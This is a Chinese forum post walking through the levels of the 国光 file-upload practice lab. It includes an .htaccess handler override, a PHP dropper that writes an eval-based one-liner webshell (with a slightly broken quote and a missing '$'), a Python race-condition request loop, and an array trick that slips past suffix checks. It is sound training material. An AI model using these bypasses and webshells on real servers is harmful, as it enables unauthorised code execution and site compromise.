安全矩阵

 找回密码
 立即注册
搜索
查看: 2450|回复: 0

基础6-文件上传之国光upload靶场

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-21 21:27:56 | 显示全部楼层 |阅读模式
原文链接:基础6-文件上传之国光upload靶场

第一关 本地JS验证

过关很简单,由于是本地JS脚本验证,我们可以先将php脚本改成png格式上传,然后抓包,在包中修改为php格式文件即可或者直接修改或者禁用JS脚本即可。(火狐有插件)

第二关 .htaccess文件上传

1.先上传一个 .htaccess文件.代码如下:
  1. <FilesMatch "2">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
复制代码


2.其次上传一个png文件,名为2.png,然后我们访问,2.png就会被解析成php脚本执行。
第三关 MIME类型验证​这一关可以直接上传php文件,由于代码对文件后缀没有验证,只检测MIME是否为图片格式,我们只需抓包修改上传即可。

提交后即上传成功,直接执行一下phpinfo();


常见MIME类型表类型整理:https://ock.cn/mj58o
第四关 图片文件头验证

这关还是很简单,由于他验证的是图片的文件头,只需要文件头是图片头格式就可以。
搞一个图片码就可以。

第五关 有缺陷的代码1(文件头复写)
不过由于代码只过滤了一次,我们可以进行双写绕过。



第六关 有缺陷的代码2(大小写)


因为linux对大小写敏感,windows不敏感,这个也是判断服务器是什么系统一个小技巧。
​​


第七关 %00截断(GET型)



第八关 %00截断(POST型)



第九关 黑名单的缺陷
默认情况下 Apache 把 phtml、pht、php、php3、php4、php5 解析为 PHP:


第十关 条件竞争上传


思路:源代码中是先将文件保存到文件夹后,再判断的文件后缀是否合法,不合法的删除。在多线程情况下,有可能出现文件夹中的文件还没处理完,我们就访问了原文件,这样就会导致绕过防护。
第一步:上传10.php,代码为

<?php fputs(fopen('10shell.php','w'),'<?php @eval(_POST["a"])?>’);?>
只要访问了10.php文件,php文件就会成功解析执行,自动创建一个10shell.php,写入一句话木马:我们抓到这个包,并丢给Intruder模块,清除变量,设置无限包,并将线程调高(提高成功率)
第二步:我们使用一个python小脚本,一直对网址图片上传地址进行请求,总有那么一瞬间是我们可以请求到并执行到的。
  1. import requests
  2. url = "http://192.168.32.137:30010/upload/10.php"
  3. while True:
  4. html = requests.get(url)
  5. if html.status_code == 200:
  6. print("OK")
  7. break
  8. else:
  9. print("NO")
复制代码



ok出现,说明我们的脚本已经执行成功。
第十一关 二次渲染


我们对于这种二次渲染的上传,最好使用gif图片文件上传,对于png和jpg的话比较麻烦。
这样用一个二次渲染的专用图。
1.先上传我们的图片


上传成功,我们右击找到图片路径,将上传的图片下载下来,放入Editor中观察。


通过观察发现,这个图片的前面部分和上传前是一样的,并没有变化,也就是说我们只要将一句话写入上传后不会受影响的位置,就等于成功上传了shell。
​​


当然我们只上传了gif,图片是不可能当作php去执行的,除非有其他漏洞,当我们看源代码时,发现存在文件包含漏洞,刚好利用一手。
第十三关 CTF原题首先看第一个判断:
  1. $allow_type = array('image/jpeg','image/png','image/gif');

  2. if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  3.   echo "<script>black();</script>";
  4. }
复制代码


所以必须保证我们上传的表单 MIME 类型一定要符合标准。接着对我们提交的 sava_name 的字符串进行处理,如果不是数组的话就以 .为分隔,打散为数组:
  1. $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

  2. if (!is_array($file)) {
  3.   $file = explode('.', strtolower($file));
  4. }
复制代码


如果是数组的话就无需打散,这里比较关键,后面再详细说,先记着。因为打散后会校验最后的后缀:
  1. $ext = end($file);
  2. $allow_suffix = array('jpg','png','gif');

  3. if (!in_array($ext, $allow_suffix)) {
  4.   echo "<script>black();</script>";
  5. }
复制代码


如果不是合法后缀的话直接就报错了,所以我们老老实实的传入合法的字符串类型的不行的,这里的传入一个数组。比如这样的数组:
$file = [0=>'shell.php/', 2=>'png']
这样执行完最后的拼接文件名的代码后:
  1. $file_name = reset($file) . '.' . $file[count($file) - 1];
  2. $file_name = 'shell.php/' . '.' . $file[2 - 1]; = 'shell.php/'.'' = 'shell.php/.'
复制代码


这样最后一步:
  1. move_uploaded_file($temp_file, $img_path)
  2. move_uploaded_file($temp_file, 'xx/xx/shell/php/.')  
复制代码


结合前面的 move_uploaded_file 函数缺陷,会忽略掉文件末尾的 /.,所以最终就可以成功将 webshell 上传。那么最终构造的数据包如下:

国光uplaod里面的关卡个人感觉还是缺少一些,没有upload_labs里面全没有uploadlabs里面全面。里面少了一些,例如
  1. 1.Windows下::DATA的问题。
  2. 2.点空格绕过。
  3. 3.配合解析漏洞。
  4. 但基本还是掌握了文件上传漏洞的基础玩法。
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:05 , Processed in 0.019167 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表